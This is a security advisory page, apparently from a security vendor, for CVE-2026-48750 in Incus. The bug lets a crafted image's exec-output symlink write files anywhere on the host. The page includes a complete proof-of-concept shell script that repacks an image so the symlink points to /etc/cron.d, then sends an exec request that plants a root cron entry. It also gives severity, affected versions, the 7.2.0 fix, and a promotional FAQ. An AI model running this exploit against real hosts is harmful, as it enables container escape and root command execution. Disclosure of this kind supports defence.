Summary
Incus has an arbitrary file write on host via exec-output symlink in crafted image
Full technical description
The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named exec_UUID.stdout and exec_UUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution.
Details
When an image is unpacked, top-level symlinks are extracted as is; allowing for exec-output to be placed on disk. In instance_exec.go, os.Mkdir continues of exec-output exists and os.OpenFile follows the exec-output symlink.
PoC
Below, we place the exec_UUID.stdout file in /etc/cron.d on
the host for arbitrary command execution.
#!/bin/sh
# usage: $0 existing-imagefp
set -eu
basefp="${1}"
die() {
printf '%s' "${@}" >&2
exit 1
}
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
# insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output
ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output
# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H 'Content-Type: application/json' \
-d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
"lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec_* -exec cat {} \;
Impact
Constrained file creation in an arbitrary directory on the host via
via an unsanitized symlink; possibly leading to command execution.
CVE-2026-48750 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (7.2.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-48750? CVE-2026-48750 is a critical-severity security vulnerability in github.com/lxc/incus/v7/cmd/incusd (go), affecting versions < 7.2.0. It is fixed in 7.2.0.
- How severe is CVE-2026-48750? CVE-2026-48750 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/lxc/incus/v7/cmd/incusd are affected by CVE-2026-48750? github.com/lxc/incus/v7/cmd/incusd (go) versions < 7.2.0 is affected.
- Is there a fix for CVE-2026-48750? Yes. CVE-2026-48750 is fixed in 7.2.0. Upgrade to this version or later.
- Is CVE-2026-48750 exploitable, and should I be worried? Whether CVE-2026-48750 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-48750 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-48750? Upgrade
github.com/lxc/incus/v7/cmd/incusdto 7.2.0 or later.